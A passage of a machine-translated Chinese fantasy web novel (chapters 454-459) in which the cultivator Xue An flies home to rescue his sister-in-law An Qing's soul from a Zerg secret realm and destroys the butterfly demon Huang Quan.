    Everyone in the Phoenix took a sigh of relief, but fortunately An Qing was fine.


    Can be the next second.


    Seeing An Qing''s face pale, she slowly fell backward.


    Cheng Hao rushed to the front in an instant, caught An Qing, and carefully placed her on the ground.


    I saw An Qing at this moment, his eyes closed tightly, and his breath was very weak.


    Everyone was stunned.


    Especially the members of the Fire Phoenix, their eyes gradually became blood red.

 Chapter 454： Xue An is angry

    Las vegas.


    Jiang Xian, Louis and others got out of the car in front of the Pyramid Casino.


    Louis looked up at this magnificent palace, and said in amazement: "Wu Yu really works here?"


    Jiang Xian smiled and said, "Who knows, anyway, she called and asked us to come here, saying that she was going to settle all the debts!"


    Louis patted Jiang Xian on the shoulder and gave a thumbs up, "You kid is a talent, and your girlfriend will betray if he says to betray!"


    Jiang Xian chuckled, "Who asked her to sign the contract at that time and blame me?"


    As Louis said, Jiang Xian and Wu Yu used to be a couple and they came to the country from Baodao together.


    But later, Jiang Xian owed usury to Louis and others because of his lazy food.


    Unable to repay, Jiang Xian coaxed Wu Yu into signing the contract and transferred all the debts to her.


    At that time, Luis and others were planning to let Wu Yu go to the red light district to sell. Wu Yu understood what was going on and resolutely refused, and finally reached an agreement.


    It''s just that Wu Yu''s rate of making money is just enough to pay off the debt.


    Unexpectedly, I received a call from Wu Yu yesterday, saying that he wanted them to come to Las Vegas and pay off all the remaining debts.


    The group walked into the casino. Jiang Xian grabbed a security guard and asked, "Where is Wu Yu?"


    The security guard looked at Jiang Xian with a weird look, then nodded, "Please follow me!"


    The security led Jiang Xian and the others to outside the manager''s office on the third floor.


    Louis leaned forward and whispered: "It looks like your ex-girlfriend should be getting a big money. Maybe you are working as a secretary for the casino manager!"


    Jiang Xian''s expression was also a little unnatural.


    When the two were lovers at that time, Wu Yu said that he would not let Jiang Xian touch anything, and at most he would hold hands.


    Didn''t you expect that now you are actually so cheap to be a lover to other people?


    Jiang Xian was full of resentment.


    At this time the office door opened.


    Jiang Xian, Louis and others walked in.


    To their surprise, Wu Yu was sitting behind the desk, and wearing a professional attire, with a little powder on her face, she was charming and charming with some capable women.


    Jiang Xian couldn''t help but be tempted when he saw it, and hurriedly took two steps forward and said with a smile: "Yu''er."


    Wu Yu looked up at him, then lowered his eyes, "Are you here?"


    "Yes! Yu''er, haven''t seen you for so long, how are you doing?"


    Wu Yu looked at Jiang Xian, who was pretending to be sad, and a sneer smile appeared at the corner of his mouth, "Is it a good time, don''t you know?"


    Jiang Xian sighed, "Yu''er, actually..."


    Wu Yu waved his hand, took out a small bag from the drawer, and threw it on the desk, "Don''t say it, this is money owed to you!"


    Louis hurriedly stepped forward and opened the small bag to see that it was full of brand new hundred dollar bills.


    He counted carefully, a satisfied smile appeared on his face, and then gave Wu Yu a thumbs up.


    "Ms. Wu is really a believer, and she said she would pay off with the benefits, she really got a lot of points!"


    With that said, Louis took out the signed agreement from his arms and put it on the table.


    "Now, we have to pay both!"


    Wu Yu remained silent.


    Louis turned to leave.


    Wu Yu said lightly: "Wait!"


    Louis stopped and said with a smile: "What else is Miss Wu?"


    "Just leave like this?"


    "Huh? Otherwise?" Louis was a little unsure.


    "The money I owe you, I paid it off! What do you owe me?" Wu Yu said lightly.


    "I owe you?" Louis and Jiang Xian asked in unison.


    Wu Yu nodded, stood up and stared at Jiang Xian.


    "Jiang Xian, when you and I were studying abroad together, I entrusted all my feelings to you. I thought I would stay with you for life!"


    "Unexpectedly, you would use rhetoric to coax me into signing a contract and let me bear a huge debt for you! I just wanted to ask you, is your conscience eaten by a dog?"


    Although Wu Yu''s tone was calm, the anger and bitterness contained in it still moved people.


    Jiang Xian''s face turned pale, and he said with some sorrow: "I was forced to be helpless at the time, and I just signed an agreement and didn''t treat you like..."


    "It''s just signing an agreement?" Wu Yu''s face gradually turned pale, and he sneered: "When I signed the contract, Louis and others threatened me to sell it. I would rather die than follow. A few of them almost rounded me off. You just hide downstairs, do you really think I don''t know these things?"


    Jiang Xian lowered his head.


    Seeing that the situation is not good, Louise smiled and said: "This is the grievance between your lovers. It''s nothing to do with me, then I will go first!"


    Just want to leave.


    At this moment, the door of the office opened, and the security guards filed in, occupying the room fully, and staring at Louis and the others.


    The leader of these security guards is a petite, but gloomy girl.


    It is Cai Lanlan.


    Cai Lanlan sneered and said, "Want to go? Do you think you can go?"


    This made Louis and his men all pale.


    Jiang Xian raised his head and shouted affectionately: "Yu''er..."


    Before she finished her words, Cai Lanlan couldn''t restrain her anger.


    After she heard Wu Yu''s narration, she was almost furious.


    There are such scumbags in the world.


    Therefore, when she saw Jiang Xian, she was so angry that she rushed up. A Tai Chi soaring cannon blasted Jiang Xian off the ground and flew far away.


    This time, Jiang Xian almost fell to death. He stood up with the pain, and looked at Wu Yu with a bitter expression on his face.


    "Wu Yu, don''t think you can do it if you have a lot of people. You bitch, you didn''t let me touch you when you were a couple. What is it now? Don''t you still be your lover?"


    Cai Lanlan was furious and was about to move forward.


    Wu Yu walked out from behind the desk with an indifferent expression, and went straight to Jiang Xian, looked at him condescendingly, and then suddenly raised his hand, which was a resounding slap in the face.


    Jiang Xian was slapped with **** nose and looked at Wu Yu blankly, as if he couldn''t believe Wu Yu dared to beat him.


    Looking at him, Wu Yu showed a look of disgust on his face and said coldly: "Being a lover? Haha, I tell you, I am the manager of this casino now!"


    Jiang Xian was shocked, "How...how is this possible!"


    Cai Lanlan winked, all the security guards all bent over, "Manager Wu!"


    This scene made Jiang Xian, Louise and others tremble.


    Especially Jiang Xian, his eyes are full of despair.


    Wu Yu gave him a cold look, then turned and left.


    As she passed by Cai Lanlan, she said coldly: "Just leave a breath!"


    Cai Lanlan smiled, "Don''t worry! Leave it to me! I promise to let these guys survive and die!"


    Wu Yu walked out of the office, and when he closed the door, he heard Jiang Xian''s screams and pleadings.


    "Yu''er... I know it was wrong... Please... Ah, don''t fight!"


    Wu Yu leaned against the wall, his eyes gradually reddening, and finally couldn''t help crying.


    The humiliation suffered over the past year was finally released at this moment.


    After crying for a while, Wu Yu wiped away the tears, took out the makeup mirror, and meticulously applied makeup, then went to the fourth floor, outside the room where the Xue An family lived.


    Knocked on the door lightly, and Xue An''s voice came, "Come in! The door is unlocked!"


    Wu Yu bowed his head and walked in respectfully.


    Seeing Xue An is playing games with An Yan in the living room.


    After seeing Wu Yu coming in, Xue An looked up and smiled.


    "The matter is resolved!"


    Wu Yu nodded, "Hmm!"


    "That''s good! People from the country will be here probably in these two days! Help you manage this casino!"


    "Mr. XueThank you!" Wu Yu said with a trembling, bending her knees to kneel.


    Xue An waved his hand, a gentle force supported Wu Yu, and then said lightly: "Don''t say it, I asked you to be a manager because I think you have a good mind, and you dare to come forward when your compatriots have an accident. It''s not that I pity you, understand?"


    "Yes!"


    At this moment, the characters controlled by Xue An were defeated by An Yan again.


    An Yan leaped for joy, "Stupid husband, you have lost again!"


    Xue An smiled, just about to say something.


    Suddenly, his face changed drastically, and Huo Ran stood up and stared at the window.


    An Yan was startled, "Husband, what''s wrong?"


    Xue Anyu was as cold as ice, and his eyes were murderous, "It''s An Qing! She has an accident!"

 Chapter 455： Return to China

    Hearing these words, An Yan''s complexion suddenly turned pale.


    "What''s the matter! What''s wrong with Qinger?"


    Xue An took a deep breath and did not answer directly: "Wake up the two daughters, we will return to China now!"


    "Okay!" An Yan rushed into the house immediately, and walked out after a while holding the two little girls who were still taking a nap.


    Wu Yu didn''t know what happened, but looking at Xue An and An Yan''s expressions, he knew that something big had happened.


    "Sir, do you need my help?" Wu Yu asked.


    Xue An kicked the glass window of the hotel and said in a deep voice, "No need!"


    After all, he took his family into the sky and rose into the sky.


    Wu Yu stared blankly at Xue An and others who disappeared into the sky.


    This was the first time she saw Xue An''s approach, and it simply destroyed the Three Views she had established for more than two decades.


    How can people fly?


    Xue An, who was in midair, was desperate at this moment.


    In order to be safe, Xue An had guarded An Qing, Tang Xuan''er and others.


    If there is any dangerous situation, these guards will be activated, and Xue An will be aware of it for the first time.


    Therefore, Xue An immediately noticed something happened to An Qing.


    But the reason why he didn''t answer An Yan''s question was because he could no longer feel An Qing''s existence.


    In other words, An Qing is probably dead now!


    And it''s the kind of death that doesn''t even leave a soul.


    This made Xue An dare not tell An Yan directly, for fear that she could not accept it.


    At the same time, Xue An''s heart was filled with anger.


    An Qing is her child''s aunt.


    No matter who it is, since I dare to hurt her, I will kill it even if I fall into the Nether for nine days!


    Miao Xiangu.


    All members of the Fire Phoenix have entered a state of rampage.


    Sun Ling, Zou Yi, Zhou Daniu and others have blood red eyes, and they are about to go into the Worm Fairy Cave to avenge An Qing.


    Fortunately, Cheng Hao still kept the last trace of soberness, although he wanted to smash these damned Zerg corpses more than anyone else.


    But now An Qing''s life or death is uncertain, the most important thing is to rescue An Qing first.


    So he yelled, "Shut up all the noise!"


    After such a long battle, the prestige of the captain Cheng Hao was second only to the instructor and An Qing, so everyone fell silent, and then looked at An Qing who was lying on the emergency stretcher with red eyes.


    Zhang Chu knelt down and took the pulse carefully, then raised his head solemnly, and Chong Cheng Hao gently shook his head.


    "There is almost no pulse anymore, except for a trace of breath, it is no different from a dead person!"


    This sentence caused all members of the Fire Phoenix to stir.


    Sun Ling and the others began to cry.


    Zhou Daniu even gave himself two mouths, and then began to cry like an old cow.


    "Notify the instructor!" Cheng Hao said solemnly with a pale expression.


    His words made everyone in Fire Phoenix stunned, and then their eyes gradually lit up.


    Sun Ling even jumped high, "Yes! Notify the instructor! The instructor must have a way!"


    Regardless of the tears on his face, Zou Yi grinned and laughed, "Yes! Even if Antou is really dead, the instructor can save her!"


    Before he finished his words, Zhou Daniu kicked him to the ground, "What nonsense, Antou must not die!"


    After hearing this, Zou Yi quickly slapped his mouth bitterly, and nodded again and again: "Yes, it must be okay to put your head on!"


    Cheng Hao turned out An Qing''s cell phone. He remembered that Xue An called An Tou two days ago.


    At Anqing''s level, mobile phones are all specially encrypted, but there are also backdoors to prevent the loss of information from the mobile phone.


    Soon, the phone was unlocked.


    A phone number from the United States appeared.


    This should be it.


    Cheng Hao trembled and dialed the number.


    He was prepared for the worst.


    If Antou died.


    He couldn''t imagine what the instructor would do in his anger.


    But think about the pictures that are circulating among the top leaders of various countries.


    The once brilliant Church of Illumination was razed to the ground, and half of the people in the once dazzling Sin City died overnight.


    These are the hands of the instructor.


    Therefore, Cheng Hao felt that if the instructor was furious about this, he would commit suicide and apologize.


    After all, Antou died when he was on a mission with him, and he had an unshirkable responsibility.


    In the hotel room in Las Vegas, Wu Yu was in a daze, Cai Lanlan walked in.


    "Well, that scumbag and those gangsters have all been punished as they deserve it. I guess they won''t even dare to think of you in this life!"


    Cai Lanlan said triumphantly, and then saw the completely broken window.


    "Huh, where is Mr. Xue?"


    Wu Yu said blankly: "Go!"


    "Gone? When did you leave?"


    "Just flew away!"


    "Fly away?"


    "Yeah!" Wu Yu nodded and turned to look at Cai Lanlan, "Lan Lan, do you believe people can fly?"


    The look on Cai Lanlan''s face suddenly became very exciting, shocked and envy, but more still in awe.


    Then he sighed, "I used to think that volleying is nothing but the imagination of the ancestors, it is fake!"


    "But the appearance of Mr. Xue made me understand that nothing happened to him too much! He was a real fairy-like character, flying in a mere trivial matter, even more so!"


    What else did Wu Yu want to say, when the phone rang, Wu Yu turned his head and saw that there was a cell phone vibrating on the sofa.


    Is it the phone that Mr. Xue left behind?


    Wu Yu moved in his heart and stepped forward to pick it up. After hesitating for a while, he tremblingly connected.


    "Hey! Instructor, something happened to Antou!" Cheng Hao''s voice came.


    Wu Yu smiled bitterly, "Excuse me, may I ask Mr. Xue? He just left!"


    "Gone?" Cheng Hao on the other end of the phone was cold, "Who are you, where did the instructor go?"


    "He just said that he was in a hurry, and then took his family... and flew away!" Wu Yu said with difficulty.


    On the phone side, Cheng Hao looked blank.


    Something happened, flew away?


    What can I do?


    How to notify the instructor?


    Just as Cheng Hao felt desperate, Zou Yi screamed and pointed to the distant sky.


    "Captain, look!"


    Cheng Hao looked up, and saw a streamer rushing at an unstoppable speed, and in an instant it had reached the sky. After stopping, it was Xue An''s family.


    "It''s the instructor!"


    Everyone in the Fire Phoenix was all excited and shouted.


    Cheng Hao let out a sigh of relief, hung up and greeted him.


    Before she hung up, Wu Yu heard the shout She looked at her watch.


    It is only eight minutes since Xue An left.


    Eight minutes.


    He crossed tens of thousands of kilometers from China and flew back to China.


    Could it be... Is he really a fairy?


    And in Miaoxiangu.


    Xue An fell on the ground, his face sinking like water.


    All the members of the Fire Phoenix gave way, and Xue An went straight to the stretcher.


    Lying on it, An Qing was pale and breathing weakly.


    More importantly, An Qing''s soul disappeared during Xue An''s divine exploration.


    Lying on the stretcher is just a shell!

 Chapter 456： Borrow your sword 1 use

    An Yan saw this scene, tears fell in an instant, but she did not cry, she just kept covering her mouth, letting the tears fall silently.


    The two little girls didn''t have so much scruples, and they shook An Qing forward, "Auntie, auntie! Don''t sleep! Get up and play with us!"


    Seeing this scene, bursts of crying came from the crowd.


    Xue An didn''t say a word, and crouched down to probe An Qing''s body carefully with spiritual thoughts.


    He found that An Qing''s vital organs were protected by a faint but continuous vitality, but the sea of ??knowledge was empty.


    "What''s going on!" Xue An asked in a deep voice.


    Cheng Hao narrated the matter briefly.


    After hearing this, Xue An nodded, then took a deep breath, and turned to An Yan who was already in tears and said, "Yan''er, stop crying, give me your hand!"


    Upon hearing this, An Yan quickly handed her hand to Xue An.


    Xue An held An Yan in one hand, and wrote a very complicated talisman seal out of thin air in the other hand, and then gave a soft voice, "Look!"


    This talisman issued a golden light instantly, and then disappeared.


    At the same time, in Xue An''s spiritual thoughts, blood connections could be seen radiating from An Yan.


    The strongest among them are naturally the two little girls.


    And second only to mother and daughter''s blood relationship is the connection with An Qing.


    But this blood connection did not aim at An Qing on the stretcher, but turned back outwards and connected into the Worm Fairy Hole.


    it is as expected!


    No wonder I didn''t find the slightest trace of An Qing Soul in this world with the Nine Heavens Searching Soul Technique.


    You must know that even if the soul is scattered, there will be countless fragments scattered between the sky and the earth.


    But in Xue An''s search, the world was empty, and there was no Anqing at all.


    It was as if she had completely disappeared.


    And now through this blood traceability technique, it can be seen that An Qing''s soul should be in this wormhole.


    And this wormhole is probably a channel connecting a certain zerg secret realm.


    Zerg!


    A cold smile appeared at the corner of Xue An''s mouth.


    Of course he knows this race.


    The magic and toughness of this race is very unique even among the heavens and the realms.


    Different from the reproduction of other races, each of the Zerg races relies on a female worm, the queen in their mouths, to reproduce.


    And the longer it reproduces, the larger the Zerg''s cardinal number, the more things it can swallow, and the strength of this Zerg queen will naturally become more powerful.


    Xue An has even seen a huge tribe that has swallowed a galaxy, and the queen strength of that tribe is close to the level of the immortal emperor.


    It is also because of this characteristic that the Zerg tribe is deeply jealous of the heavens and all races.


    After all, this is a group that resembles a black hole and cannot be swallowed without them.


    If it is allowed to develop, it will eventually swallow all the heavens and all realms.


    But Xue An has no feelings for this ethnic group.


    Survival and becoming stronger are inherently biological instincts, which is understandable.


    What Xue An didn''t expect was that there would also be Zerg in this world.


    And dared to **** An Qing''s soul.


    Then I will make you pay the worst price.


    Thinking of this, Xue Anxian relieved An Yan.


    "Yan''er don''t cry, Qing''er is not dead!"


    "Huh? Really?" An Yan stopped sobbing and asked in surprise.


    Xue An nodded, "She is just a soul looted, and she is not dead, I will go find her soul now!"


    With that, Xue An said, "Cheng Hao!"


    "in!"


    "You take someone here to wait, I will go to the Worm Fairy Cave to find Qing''er''s soul now!"


    "Instructor, let''s go with you too!" Zhou Daniu and others said quickly after hearing this.


    Zhang Chu and A Fei had been watching them all the time.


    They all guessed the identity of Xue An.


    Actually, there is nothing to guess.


    Because everyone knows that the core soul figure of the Phoenix is ??not Cheng Hao, nor An Qing, but Xue An!


    This is the existence that turns the hand into the cloud and turns the hand into the rain, and is even known as the deity of the world.


    In the face of such characters, Zhang Chu and others naturally have to show sufficient awe.


    But when the two of them heard that Xue An was about to enter the Worm Fairy Cave alone.


    Zhang Chu still couldn''t help but said, "Mr. Xue, are you alone..."


    Xue An glanced at Zhang Chu and smiled slightly, "You have the breath of a heavenly monarch!"


    Zhang Chu was shocked all over, and quickly lowered his head, and said respectfully: "Zhang Chu, the 67th generation of Taoism in the Tianshi Mansion, I have seen Mr.!"


    Xue An nodded slightly, and glanced at Zhang Chu''s Laojun Sword, "It turns out to be Zhang Tianjun''s descendant!"


    Zhang Chu was trembling all over, and he heard the meaning of Xue An''s words.


    He... seems to know his ancestor?


    Xue An said at this time: "None of you need to go, there is a Zerg, and I am enough!"


    After that, Xue An smiled at Zhang Chu, "Lend your old gentleman sword for a use!"


    Zhang Chu was slightly startled, if someone else borrowed it, he would never agree.


    But Xue An opened his mouth, he just hesitated for a moment, then took off the Old Jun sword and handed it to Xue An.


    Xue An drew his sword out of its sheath and flicked it lightly.


    Xue An smiled slightly, "Good sword! Unfortunately, it has been buried for too long! Today, I will open the front for you!"


    As he said, Xue An ascended into the air, holding a sword in one hand, his eyes were cold, and he whispered softly.


    "Dao Jian...Open the sky!"


    A sword swung.


    A sword light that was extremely clear and contained the principles of infinite avenues hit the Chongxian Mountain.


    Click.


    Chongxian Mountain was not much harder than tofu under this sword light, and it was directly split into two halves.


    As for the wormhole cave, it became a mass of ruins under this sword.


    But in the middle of the divided mountain, a black halo was circulating.


    From time to time, black energy pierced out, but was cut off by a bright sword light.


    Zhang Chu watched this scene dumbfounded, his mouth was open, and he could even put three eggs into it.


    Once upon a time, Zhang Chu was extremely proud.


    Although he is the only one left in the Heavenly Master''s Mansion, his talent is the best in the Heavenly Master''s Taoism for hundreds of years.


    This can be seen from the fact that he can use Laojun Sword.


    You know, the previous few Dao Tongs simply couldn''t control this old monarch sword.


    This naturally made Zhang Chu very proud.


    But today, all his pride collapsed under Xue An''s sword.


    Seeing Xue An''s sword, he understood what is the real Laojun sword and what is the real Tao!


    Zhang Chu is trembling Xue An in mid-air directly threw Laojun��s sword to him, and then said indifferently: ��I had a relationship with you Zhang Tianjun at the beginning, so this time I��ve been helping him. One person!"


    Zhang Chu took the sword in his hand and couldn''t help being stupid.


    The once bleak Laojun Sword is now dazzling with brilliance and magic.


    Holding it in his hand, he can feel the power of that powerful Taoism even more.


    "Is this... the real power of Laojun Jian? No wonder Mr. Xue said that it was buried for a long time, so this is Kaifeng!"


    Zhang Chu muttered to himself, then suddenly understood something, knelt down to the dust.


    "Disciple, thank you Master for your kindness!"


    Xue An''s status was suddenly elevated to a fairy teacher.


    Xue An just chuckled, and then said to An Yan: "Wait for me here, I will go and return!"


    After all, Xue An stepped forward and went directly to the glorious place in the mountain, and then disappeared between the world.

 Chapter 457： Zerg Secret Realm

    This is a desolate swamp.


    There is always a misty demon moon hanging in the sky.


    Various poisonous insects are everywhere in the swamp.


    The only mission of these poisonous insects is to fight.


    Through fighting, they eliminated the weak ones, leaving the slightly stronger ones, and then swallowed by even more powerful ones....


    In the end, this entire swamp may only be left with the most powerful one.


    This is the survival of the Zerg, cruel and effective.


    When Xue An appeared on this swamp, these poisonous insects were all crazy.


    Countless poisonous insects are surging, trying to swallow Xue An.


    Xue An frowned slightly, and a series of sword qi instantly crushed the poisonous insects within a radius of 100 meters.


    But the remaining poisonous insects are still rushing forward, and they don''t know how to be afraid.


    This is the terrible thing about the Zerg.


    But Xue An also knows that these are just the lowest zerg.


    The truly powerful Zerg race can escape the mother worm and have its own consciousness, and can even counteract the mother worm.


    Naturally, these powerful Zerg races cannot survive despicably in this swamp.


    Xue An closed his eyes, opened his mind, and began to explore.


    After a while, Xue An opened his eyes, jumped up and disappeared into the sky.


    Only large corpses in the swamp were left.


    But after a while, these corpses were swallowed by endless poisonous insects.


    Any race, when it has a class, it represents civilization.


    The Zerg is no exception.


    The zerg in this secret realm has obviously been passed on for a long time, and many high-level zergs have evolved, otherwise the overbearing monsters that attack the world will not appear.


    Xue An flew by from above, overlooking the small villages and towns below, his complexion gradually becoming hard to look.


    There are also human races in this secret realm.


    This is not surprising.


    As the most powerful race among the heavens, the human races can be said to be all over the world.


    But unlike the others, the human race in this secret realm obviously leads a very humiliating life, even almost as if being kept in captivity.


    such as����.


    Xue An looked at a small town where several high-level Zerg races were slaughtering humans with a grinning smile.


    The man was killed.


    The female was played to death by several Zerg.


    Although there were also people who resisted, human resistance was simply too weak in the face of these Zergs who firmly occupy the top of this secret realm.


    "It''s so **** cool!" The zerg shouted loudly with a grin, ignoring the tragic shouts.


    At this moment, Xue An flew across the sky, snorted coldly, and the sword light emerged, directly cutting all the monsters into powder.


    These human races who had escaped from death watched this scene blankly, and after a while, they all knelt to the ground, crying and kowtowing.


    Xue An sighed lightly, then turned into streamer and disappeared into the sky.


    If at the beginning, Xue An just wanted to retrieve An Qing''s soul as soon as possible, now he has another task, which is to slaughter all the Zerg in this secret realm.


    This may be a little difficult.


    After all, the vastness of this secret realm is even more than that of Kunlun before, and it is more than half the size of the earth.


    But for Xue An, what he wants to do must be done.


    However, the top priority now is to find An Qing''s soul.


    In Xue An''s spiritual thoughts, a red line of blood that Ruoyouruowu guided him and led to the dark distance.


    In this land, there are many cities, all built in the same way as the world.


    But among these many cities, only the Lord is the holy land in the hearts of all Zerg races.


    Because there is the queen''s residence, where the mother worm is.


    And around the main capital, there are still many deputy capitals.


    These are the places where the dignitaries of the higher zerg live.


    now.


    In a vice capital.


    A woman with a butterfly tattoo on her face slowly opened her eyes, filled with anger and terror.


    "Master Huang Quan!"


    See her wake up.


    Everyone in the room knelt down, shouting loudly.


    The woman walked down the high platform with a sinking face, and suddenly stepped on a zerg kneeling on the ground, and a mouthpart appeared in her hand, which was inserted into the zerg''s head.


    "Master Huang Quan...no..." This advanced zerg struggled a few times before being sucked clean by Huang Quan.


    The many worms in the room were all silent.


    Huang Quan said coldly to himself at this time: "The **** world can actually hurt me, and even wiped out a clone of me! It''s damned!"


    No one dared to speak.


    There was a dead silence in the room.


    At this time, Huang Quan turned his hand, and a halo appeared in his palm, and in the halo, there was a miniature version of An Qing.


    "Tsk tusk, what an interesting soul, what the **** is the white light on you? If it swallows you, will it also give me that power?"


    Thinking of the white light that wiped out himself, Huang Quan''s eyes flashed with greed.


    But whenever she was about to swallow it, a faint white light flashed, directly causing Huang Quan to step back in fear.


    It is this annoying white light, although faint, but so powerful.


    Or... Dedicating her to the Queen? Huang Quan thought unwillingly.


    Huangquan was a very special zerg born when the queen was just a small female worm.


    It''s different from other Zergs who are in the same race.


    The body of Huangquan is a butterfly, and it is also the only butterfly of the entire ethnic group.


    Her most powerful ability is to increase the fighting ability of the insect swarm almost infinitely.


    This also makes her position very detached.


    At the same time, Huangquan can also exist independently of the queen, and even disconnected from consciousness.


    In other words, Huangquan is already an independent individual.


    This also caused Huang Quan''s heart to gradually develop an idea.


    That is to become the queen of a new ethnic group.


    But the prerequisite for this is to eliminate the old king.


    Therefore, it has been accumulating strength in secret.


    If you offer this soul, if you are successfully swallowed by the Queen, wouldn''t your chances of winning be even smaller?


    Thinking in his heart, Huang Quan gritted his teeth and simply crushed the soul.


    When it was about to start in the sky above the vice capital where it lived, Xue An''s figure gradually emerged.


    Compared to other small cities, this pair is much more luxurious.


    But there are no shops like human cities.


    Some are just houses built with black rocks.


    After all, Zerg has no aesthetic concept.


    Xue An frowned, and he could see the resentment over the sky, showing how many people died at the hands of these insects.


    And the red line of blood stretched into the tallest building in the middle.


    Xue An took a deep breath and stepped out, with sword lights flashing in his eyes.


    "Sword up!"


    Countless sword lights appeared, covering the sky above the city.

 Chapter 458： Working hard to make wedding clothes for others

    Feeling this aura of sword aura, Huang Quan''s expression changed drastically and he rushed out of the room.


    A huge vortex composed of strands of sword aura appeared above the sky, and a man standing proudly in the center of the vortex.


    Xue An also noticed Huang Quan, his eyes narrowed slightly.


    In his divine consciousness, the bloodline red line almost entangled Huang Quan, and Xue An could still feel a faint but familiar breath from Huang Quan.


    It''s An Qing.


    Her soul is on this Zerg.


    "Human race powerhouse, why are you coming to my insect world?" Huang Quan shouted in a deep voice at this time.


    Xue An''s face was sinking, and he said lightly: "Hand over the soul of the woman you captured! Otherwise, die!"


    Huang Quan''s complexion also sank.


    This man actually came for the soul of that girl.


    In this way, this soul is indeed different.


    But Xue An''s threatening tone made it very uncomfortable, and he couldn''t help but sneered: "Strong human race, do you know who you are talking to? I..."


    Xue An had no patience to talk nonsense with this monster, frowned upon hearing this, and then raised his hand.


    A huge sword glow suddenly emerged from the swirling sword energy vortex.


    "I care who you are, hand over your soul, otherwise, die!"


    After all, Xue An cut down with a sword.


    The prosperous sword power directly turned countless lower zergs on the ground into powder.


    Motivated by this power, Huang Quan could no longer maintain his human form, and turned into a huge butterfly with a scream.


    On the wings of a butterfly, there are countless pairs of eyes.


    Densely dense, it makes the scalp numb at first glance.


    And this... is the essence of Huang Quan.


    Huang Quan sneered: "Your strength is indeed good, but threatening a high-level zerg will be the most stupid thing you have ever done in your life..."


    With its voice, these eyes are gradually opening.


    The entire space began to be filled with endless monsters.


    "It''s really noisy!" Xue An said lightly, suddenly raised his hands above his head, directly held the huge sword qi vortex in the palm of his hand, and then slammed it down.


    That''s right.


    Just drop it off.


    There is no exquisite swordsmanship, and there is no amazing light.


    Yes, it''s just the majestic swordsmanship of ingenuity and the domineering power of smashing people like a mountain.


    The words behind Huang Quan turned into a scream in his throat.


    The arrogant and domineering human race powerhouse made it impossible to understand.


    Its wings flapped frantically, and the entire butterfly turned into a stream of light and disappeared in place, which could have avoided the blow.


    But the Zergs in the sub-dus and the sub-dus below are not so lucky.


    There was a loud bang.


    The world trembled for it.


    Looking at the entire vice capital, Shengsheng was smashed into a big hole by this blow.


    In the smoke and dust, Huang Quan appeared in the distance, and her head appeared on the body of the butterfly, and then screamed: "Who are you and why..."


    The next moment, its shout was pinched in the throat.


    Seeing Xue An suddenly appeared in front of it, and strangled its neck as soon as he reached out.


    Huang Quan was pinched and couldn''t move at all. At this moment, a pair of eyes full of cold and evil also showed horror and fear.


    "These wings are really annoying to look at!" As he said, Xue An stretched out his hand, grabbed a wing, and twitched suddenly.


    Click.


    One of Huang Quan''s wings was torn off.


    Green gory blood splashed out.


    Huang Quan''s painful entire body was struggling.


    Xue An grabbed another one and tore it down.


    Then he nodded in satisfaction, "This is much pleasing to the eye!"


    Huang Quan almost wanted to cry without tears. He was torn from a butterfly to an earthworm. He actually said pleasing to the eye?


    But this Huangquan was also stimulated to be fierce, and suddenly gritted his teeth and forcibly swallowed An Qing''s soul with his own soul.


    Immediately afterwards, the soul of An Qing that was forcibly swallowed by it emitted bursts of white light, and the soul of the roasted Huangquan trembled.


    But Huang Quan has cultivated for thousands of years, and his soul is extremely powerful.


    Although half of it was roasted by the white light, it finally exhausted all the white light.


    Then Huang Quan''s imaginary face showed a hint of mocking smile.


    "Aren''t you looking for her soul? It''s a pity, it''s been swallowed by me now! Now she and I are no longer separated from each other, I see how you..."


    Before he finished his words, Xue An pulled its head off, put his hand into the cavity of the worm''s body with a cold face, and gave a cold cry, "Give me...come out"


    With that, Xue Ansheng buckled out the demon pill that Huang Quan had cultivated for many years.


    This is where its soul lies.


    Huang Quan''s terrifying voice came from the demon pill, "How do you know the demon pill? Who are you!"


    Xue An said coldly: "Exterminate your Zerg people!"


    "It''s useless, even if you get the demon pill, what can you do? You can''t break this demon pill!" Huang Quan yelled in a stern face.


    Xue An said coldly: "Really? Then I want to try!"


    After all, Xue An suddenly shook his palm.


    Click.


    A clear crack appeared on the indestructible demon pill.


    Huang Quan''s proud voice disappeared, and he shouted in fear, "How is it possible! How can you break the demon pill?"


    "A mere demon pill, how difficult is it!"


    With that said, Xue An held it with both hands, as if breaking an apple, and with a sudden force, the demon pill was broken into pieces.


    Huang Quan''s soul appeared in front of Xue An unobstructed.


    "Even if you break open, what can you do? My soul and this human are no longer separated from each other, you can''t save her!" Huang Quan simply broke the jar and fell.


    "Or you can bring me back to the world together, otherwise this human soul will stay in my body forever! Hahaha!"


    The laughter stopped abruptly.


    Huang Quan tremblingly looked at the white flames emerging from Xue An''s hands.


    The instinct from the soul can let it know how terrible the flame is.


    At this time, Xue An said calmly: "You are to blame for everything!"


    After all, Xue An waved his hand, and the flame swallowed Huang Quan''s soul.


    The scorching pain from the soul made Huang Quan struggle and howl Xue An remained unmoved, just watched quietly.


    "You devil... won''t you be afraid to wipe out the human soul by doing this?"


    "Fear, but she won''t disappear!"


    Huang Quan froze for a moment, before he could understand, he felt a mysterious aura exploded from his body.


    But the fragments were bound by the flame again, unable to disperse.


    At this time, a blank face of An Qing soul appeared in the field, and the broken soul fragments seemed to have found a catharsis, directly rushing in.


    In an instant, the originally weak Anqing soul was filled as solid as an entity.


    Xue An watched this scene, a faint smile appeared at the corner of his mouth. Huang Quan had painstakingly honed his soul power for thousands of years, but now An Qing has completely absorbed it.


    This is how many years of hard work, but made a wedding dress for others.

 Chapter 459： An Qing like a drama

    An Qing slowly opened her eyes.


    To her, it was like a dream.


    Her memory even remained on the battlefield.


    So when she saw Xue An, she couldn''t help but froze, "Brother-in-law? Why are you here?"


    Immediately she became happy again, "It''s great that you are here, these bugs are simply horrible!"


    With that, he grabbed Xue An''s arm.


    But her hand passed directly through Xue An''s body.


    An Qing was stunned.


    Xue An smiled slightly, just about to speak.


    Tears gradually appeared in An Qing''s eyes, and she waved her hand suddenly, "Don''t say it! Am I... dead?"


    Then, before Xue An answered, she squatted in the air, whimpering and crying.


    "I''m dead, I must be dead! Sister, please forgive me for taking a step ahead! I miss you, my aunt can''t buy you delicious food in the future! Cheng Hao, Zhou Daniu and others, you guys, I will I won''t see you anymore!"


    The more An Qing said, the more sad she was, and the more she said it, the more sad she was. In the end, she broke into tears.


    Xue An looked dumbfounded at An Qing, who was playing for himself, helplessly stretched out his hand and patted An Qing on the shoulder.


    An Qing trembled all over, slowly raised her head, sniffed hard, and looked at Xue An in surprise.


    "You... how can you touch me?"


    "Of course you can come across, because I am your omnipotent brother-in-law!" Xue An said with a smile.


